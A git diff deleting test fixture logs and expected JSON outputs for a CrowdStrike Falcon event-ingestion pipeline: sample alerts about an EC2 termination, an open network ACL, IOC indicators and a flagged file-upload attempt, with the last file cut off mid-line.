[ - { - "@timestamp": "2022-09-12T19:32:40.000Z", - "cloud": { - "account": { - "id": "XXXXXXXXXXXX" - }, - "provider": "aws", - "service": { - "name": "EC2" - } - }, - "crowdstrike": { - "event": { - "PolicyId": 249, - "Severity": 1, - "SeverityName": "High" - }, - "metadata": { - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "eventType": "CSPMIOAStreamingEvent", - "offset": 54712858, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "action": "TerminateInstances", - "category": [ - "configuration" - ], - "created": "2022-09-12T19:32:40.000Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712858,\n\t\t\"eventType\": \"CSPMIOAStreamingEvent\",\n\t\t\"eventCreationTime\": 1663011160000,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"PolicyId\": 249,\n\t\t\"PolicyStatement\": \"EC2 instance manually deleted by IAM user\",\n\t\t\"CloudProvider\": \"aws\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"EventAction\": \"TerminateInstances\",\n\t\t\"EventSource\": \"aws.cloudtrail\",\n\t\t\"EventCreatedTimestamp\": 1663011160,\n\t\t\"UserId\": \"AIDAXRCSSEFWEAH3BLR2Z\",\n\t\t\"UserName\": \"cs_internal_service_acct\",\n\t\t\"UserSourceIp\": \"81.2.69.144\",\n\t\t\"Tactic\": \"Impact\",\n\t\t\"Technique\": \"Data Destruction\"\n\t}\n}", - "provider": "aws.cloudtrail", - "severity": 73, - "type": [ - "info", - "change" - ] - }, - "message": "EC2 instance manually deleted by IAM user", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "related": { - "ip": [ - "81.2.69.144" - ], - "user": [ - "cs_internal_service_acct" - ] - }, - "source": { - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "tactic": { - "name": [ - "Impact" - ] - }, - "technique": { - "name": [ - "Data Destruction" - ] - } - }, - "user": { - "id": "AIDAXRCSSEFWEAH3BLR2Z", - "name": "cs_internal_service_acct" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log deleted file mode 100644 index d1fb05fcec..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log +++ /dev/null @@ -1,52 +0,0 @@ -{ - "metadata": { - - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "offset": 54712611, - "eventType": "CSPMSearchStreamingEvent", - "eventCreationTime": 1663009688832, - "version": "1.0" - }, - "event": { - "AccountId": "XXXXXXXXXXXX", - "Region": "us-west-2", - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceName": "", - "ResourceCreateTime": 0, - "PolicyStatement": "EC2 NACL configured for global ingress", - "PolicyId": 26, - "Severity": 1, - "SeverityName": "High", - "CloudPlatform": "AWS", - "CloudService": "EC2", - "Disposition": "Failed", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", - "Tags": [{ - "Key": "cstag-business", - "ValueString": "Sales" - }, { - "Key": "cstag-accounting", - "ValueString": "dev" - }, { - "Key": "cstag-department", - "ValueString": "Sales - 310000" - }, { - "Key": "Slackbot Env UUID", - "ValueString": "C68EC25E-32BD-11ED-AE4B-0EBCA3237C75" - }, { - "Key": "Name", - "ValueString": "CS-SE-Demo-KALI-ROBERT.WILSON" - }, { - "Key": "Slack_User", - "ValueString": "bob.smith" - }, { - "Key": "cstag-owner", - "ValueString": "jane.doe" - }], - "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", - "Timestamp": 1663009688832 - } -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json deleted file mode 100644 index 44c8c37258..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json +++ /dev/null @@ -1,76 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2022-09-12T19:08:08.832Z", - "cloud": { - "account": { - "id": "XXXXXXXXXXXX" - }, - "provider": "AWS", - "region": "us-west-2", - "service": { - "name": "EC2" - } - }, - "crowdstrike": { - "event": { - "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", - "PolicyId": 26, - "ResourceAttributes": { - "ACL ID": "acl - 005e6 bb98e75ac17e", - "Instance ID": "i - 0108 fce80eXXXXXXX", - "Instance State": "running", - "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", - "Platform": "Linux", - "VPC ID": "vpc - 0e886040 c27d9f526" - }, - "ResourceId": "i-0108fce80eXXXXXXX", - "ResourceIdType": "Instance Id", - "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", - "Severity": 1, - "SeverityName": "High", - "Timestamp": 1663009688832 - }, - "metadata": { - "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", - "eventType": "CSPMSearchStreamingEvent", - "offset": 54712611, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "configuration" - ], - "created": "2022-09-12T19:08:08.832Z", - "kind": "alert", - "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": [{\n\t\t\t\"Key\": \"cstag-business\",\n\t\t\t\"ValueString\": \"Sales\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-accounting\",\n\t\t\t\"ValueString\": \"dev\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-department\",\n\t\t\t\"ValueString\": \"Sales - 310000\"\n\t\t}, {\n\t\t\t\"Key\": \"Slackbot Env UUID\",\n\t\t\t\"ValueString\": \"C68EC25E-32BD-11ED-AE4B-0EBCA3237C75\"\n\t\t}, {\n\t\t\t\"Key\": \"Name\",\n\t\t\t\"ValueString\": \"CS-SE-Demo-KALI-ROBERT.WILSON\"\n\t\t}, {\n\t\t\t\"Key\": \"Slack_User\",\n\t\t\t\"ValueString\": \"bob.smith\"\n\t\t}, {\n\t\t\t\"Key\": \"cstag-owner\",\n\t\t\t\"ValueString\": \"jane.doe\"\n\t\t}],\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", - "outcome": "failure", - "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", - "severity": 73, - "type": [ - "info", - "change" - ] - }, - "message": "EC2 NACL configured for global ingress", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "tags": [ - "preserve_original_event", - "cstag-business:Sales", - "cstag-accounting:dev", - "cstag-department:Sales - 310000", - "Slackbot Env UUID:C68EC25E-32BD-11ED-AE4B-0EBCA3237C75", - "Name:CS-SE-Demo-KALI-ROBERT.WILSON", - "Slack_User:bob.smith", - "cstag-owner:jane.doe" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log deleted file mode 100644 index 7871e26492..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log +++ /dev/null @@ -1,6 +0,0 @@ -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"2f0eaaf91fc7a5c70d1f4be9b18a1cf5","ParentProcessId":"11111111110","ProcessStartTime":1700000000,"FileName":"Notepad.exe","FilePath":"\\Device\\HarddiskVolume3\\Windows\\System32","CommandLine":"\"C:\\Windows\\system32\\Notepad.exe\"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","DomainName":"acme.corp","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv4":"203.0.113.5","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","IPv6":"2001:db8:1234::abcd","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","SHA256String":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} -{"metadata":{"eventType":"CustomerIOCEvent","customerIDString":"abcdefabcdefabcdefabcdefabcdefabcd","offset":123456789,"eventCreationTime":1760000000000,"version":"1.0"},"event":{"AgentIdString":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ProcessId":"11111111111","ComputerName":"DESKTOP-AAAAAAA","MD5String":"e99a18c428cb38d5f260853678922e03","ParentProcessId":"","FileName":"","FilePath":"","CommandLine":"","DeviceId":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json deleted file mode 100644 index 6544d54e91..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json +++ /dev/null @@ -1,401 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "MD5String": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"2f0eaaf91fc7a5c70d1f4be9b18a1cf5\",\"ParentProcessId\":\"11111111110\",\"ProcessStartTime\":1700000000,\"FileName\":\"Notepad.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\",\"CommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\Notepad.exe\\\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "file": { - "name": "Notepad.exe", - "path": "\\Device\\HarddiskVolume3\\Windows\\System32" - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Windows\\system32\\Notepad.exe\"" - ], - "command_line": "\"C:\\Windows\\system32\\Notepad.exe\"", - "entity_id": "11111111111", - "executable": "\"C:\\Windows\\system32\\Notepad.exe\"", - "parent": { - "entity_id": "11111111110" - }, - "start": "2023-11-14T22:13:20.000Z" - }, - "related": { - "hash": [ - "2f0eaaf91fc7a5c70d1f4be9b18a1cf5" - ], - "hosts": [ - "DESKTOP-AAAAAAA" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "name": "2f0eaaf91fc7a5c70d1f4be9b18a1cf5", - "type": "file" - } - } - }, - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "DomainName": "acme.corp" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"DomainName\":\"acme.corp\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "11111111111" - }, - "related": { - "hosts": [ - "acme.corp", - "DESKTOP-AAAAAAA" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "name": "acme.corp", - "type": "domain-name" - } - } - }, - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "IPv4": "203.0.113.5" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv4\":\"203.0.113.5\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "11111111111" - }, - "related": { - "hosts": [ - "DESKTOP-AAAAAAA" - ], - "ip": [ - "203.0.113.5" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "as": { - "number": 64502, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Madrid", - "continent_name": "Europe", - "country_iso_code": "ES", - "country_name": "Spain", - "location": { - "lat": 40.41639, - "lon": -3.7025 - }, - "region_iso_code": "ES-M", - "region_name": "Madrid" - }, - "ip": "203.0.113.5", - "name": "203.0.113.5", - "type": "ipv4-addr" - } - } - }, - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "IPv6": "2001:db8:1234::abcd" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"IPv6\":\"2001:db8:1234::abcd\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "11111111111" - }, - "related": { - "hosts": [ - "DESKTOP-AAAAAAA" - ], - "ip": [ - "2001:db8:1234::abcd" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "as": { - "number": 65551, - "organization": { - "name": "Documentation ASN" - } - }, - "geo": { - "city_name": "Greenwich", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.47687, - "lon": -4.1E-4 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "2001:db8:1234::abcd", - "name": "2001:db8:1234::abcd", - "type": "ipv6-addr" - } - } - }, - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "SHA256String": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"SHA256String\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "11111111111" - }, - "related": { - "hash": [ - "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" - ], - "hosts": [ - "DESKTOP-AAAAAAA" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "name": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", - "type": "file" - } - } - }, - { - "@timestamp": "2025-10-09T08:53:20.000Z", - "crowdstrike": { - "event": { - "AgentIdString": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "MD5String": "e99a18c428cb38d5f260853678922e03" - }, - "metadata": { - "customerIDString": "abcdefabcdefabcdefabcdefabcdefabcd", - "eventType": "CustomerIOCEvent", - "offset": 123456789, - "version": "1.0" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "threat" - ], - "created": "2025-10-09T08:53:20.000Z", - "kind": "enrichment", - "original": "{\"metadata\":{\"eventType\":\"CustomerIOCEvent\",\"customerIDString\":\"abcdefabcdefabcdefabcdefabcdefabcd\",\"offset\":123456789,\"eventCreationTime\":1760000000000,\"version\":\"1.0\"},\"event\":{\"AgentIdString\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"ProcessId\":\"11111111111\",\"ComputerName\":\"DESKTOP-AAAAAAA\",\"MD5String\":\"e99a18c428cb38d5f260853678922e03\",\"ParentProcessId\":\"\",\"FileName\":\"\",\"FilePath\":\"\",\"CommandLine\":\"\",\"DeviceId\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}", - "type": [ - "indicator" - ] - }, - "host": { - "hostname": "DESKTOP-AAAAAAA", - "id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "name": "DESKTOP-AAAAAAA" - }, - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "entity_id": "11111111111" - }, - "related": { - "hash": [ - "e99a18c428cb38d5f260853678922e03" - ], - "hosts": [ - "DESKTOP-AAAAAAA" - ] - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "indicator": { - "name": "e99a18c428cb38d5f260853678922e03", - "type": "file" - } - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log deleted file mode 100644 index 7471623ccb..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log +++ /dev/null @@ -1,2 +0,0 @@ -{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}} -{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google 